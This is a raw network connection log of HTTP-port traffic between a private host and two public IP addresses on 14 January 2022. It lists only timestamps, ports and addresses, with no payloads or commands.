Jan 14, 2022 20:30:21.328149080 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.328197956 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.328203917 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.328248024 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.328299046 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.328300953 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.328346968 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.328397036 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.328397989 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.328452110 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.328500986 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.328541040 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.328550100 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.328603029 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.328603029 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.328663111 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.328758955 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.386611938 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.386688948 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.386743069 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.386796951 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.386821985 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.386847019 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.386864901 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.386898041 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.386950970 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.386955976 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.387001038 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.387053013 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.387054920 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.387105942 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.387156963 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.387165070 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.387207985 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.387258053 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.387265921 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.387310028 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.387362003 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.387366056 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.387411118 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.387461901 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.387465954 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.387512922 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.387564898 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.387566090 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.387617111 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.387665987 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.387669086 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.387717962 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.387768030 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.387768984 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.387818098 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.387868881 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.387868881 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.387918949 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.387972116 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.387973070 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.388026953 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.388081074 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.388084888 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.388133049 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.388187885 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.388191938 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.388242960 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.388303995 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.446553946 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.446615934 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.446671963 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.446727037 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.446728945 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.446782112 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.446787119 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.446840048 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.446892023 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.446897030 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.446945906 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.447000980 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.447009087 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.447051048 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.447107077 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.447108030 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.447160959 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.447211981 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.447411060 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.447458982 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.447500944 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.447541952 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.447544098 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.447582006 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.447594881 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.447622061 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.447659016 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.447681904 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.447700024 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.447737932 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.447755098 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.447777987 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.447817087 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.447830915 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.447854042 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.447891951 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.447904110 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.447930098 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.447966099 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.447977066 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.448004007 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.448040962 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.448050976 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.448081970 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.448122025 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.448131084 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.448158979 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.448196888 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.448204994 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.448235035 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.448271036 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.448282957 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.448308945 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.448344946 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.448357105 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.448383093 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.448421001 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.448434114 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.448457003 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.448496103 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.448514938 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.448534012 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.448570013 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.448587894 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.448607922 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.448646069 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.448658943 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.448684931 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.448724985 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.448738098 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.448761940 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.448827028 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.505001068 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.505047083 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.505088091 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.505127907 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.505166054 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.505168915 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.505203962 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.505212069 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.505242109 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.505259991 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.505280972 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.505319118 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.505336046 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.505357027 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.505403996 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.506438971 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.506481886 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.506521940 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.506558895 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.506570101 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.506613016 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.506632090 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.506669998 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.506730080 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.506731987 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.506795883 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.506848097 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.506851912 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.506911039 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.506959915 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.506969929 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.507024050 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.507072926 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.507083893 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.507145882 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.507204056 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.507205009 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.507261992 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.507309914 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.507319927 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.507380009 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.507426977 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.507440090 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.507496119 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.507544041 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.507554054 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.507610083 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.507654905 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.507668972 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.507724047 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.507771969 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.507781982 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.507843018 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.507895947 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.507903099 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.507958889 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.508011103 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.508017063 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.508075953 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.508122921 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.508133888 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.508194923 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.508243084 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.508251905 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.508311033 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.508358002 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.508373022 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.508429050 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.508481979 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.508487940 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.508548975 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.508594990 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.563158035 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.563216925 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.563266993 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.563278913 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.563306093 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.563342094 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.563349962 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.563379049 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.563412905 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.563426971 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.563460112 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.563510895 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.563518047 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.563549995 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.563597918 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.566236973 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.566292048 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.566349030 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.566354036 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.566386938 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.566421986 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.566432953 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.566457987 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.566493988 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.566500902 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.566526890 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.566564083 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.566569090 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.566600084 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.566633940 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.566646099 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.566668987 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.566705942 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.566715002 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.566741943 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.566777945 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.566781998 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.566812038 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.566848040 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.566852093 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.566883087 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.566916943 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.566920996 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.566951990 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.566987991 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.566992044 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.567022085 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.567059040 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.567060947 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.567092896 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.567130089 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.567136049 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.567164898 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.567198992 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.567207098 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.567234993 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.567269087 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.567275047 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.567302942 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.567339897 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.567342997 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.567373991 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.567409039 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.567414045 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.567444086 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.567476988 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.567501068 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.567511082 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.567545891 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.567554951 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.567580938 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.567626953 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.576154947 CET	80	49793	54.38.220.85	192.168.2.4
Jan 14, 2022 20:30:21.576229095 CET	49793	80	192.168.2.4	54.38.220.85
Jan 14, 2022 20:30:21.576271057 CET	49793	80	192.168.2.4	54.38.220.85
Jan 14, 2022 20:30:21.595927000 CET	80	49793	54.38.220.85	192.168.2.4
Jan 14, 2022 20:30:21.621488094 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.621526003 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.621551037 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.621573925 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.621583939 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.621598005 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.621619940 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.621620893 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.621645927 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.621659994 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.621669054 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.621690989 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.621710062 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.621711969 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.621737957 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.621751070 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.621762991 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.621786118 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.621807098 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.621809959 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.621834993 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.621865988 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.621871948 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.621896029 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.621918917 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.621921062 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.621942997 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.621963024 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.621968031 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.622011900 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.625438929 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625466108 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625488043 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625509024 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625531912 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625536919 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.625549078 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.625552893 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625576019 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625597000 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625607967 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.625619888 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625638962 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.625642061 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625664949 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625675917 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.625688076 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625709057 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625721931 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.625730038 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625752926 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625768900 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.625773907 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625794888 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625809908 CET	49928	80	192.168.2.4	81.163.30.181
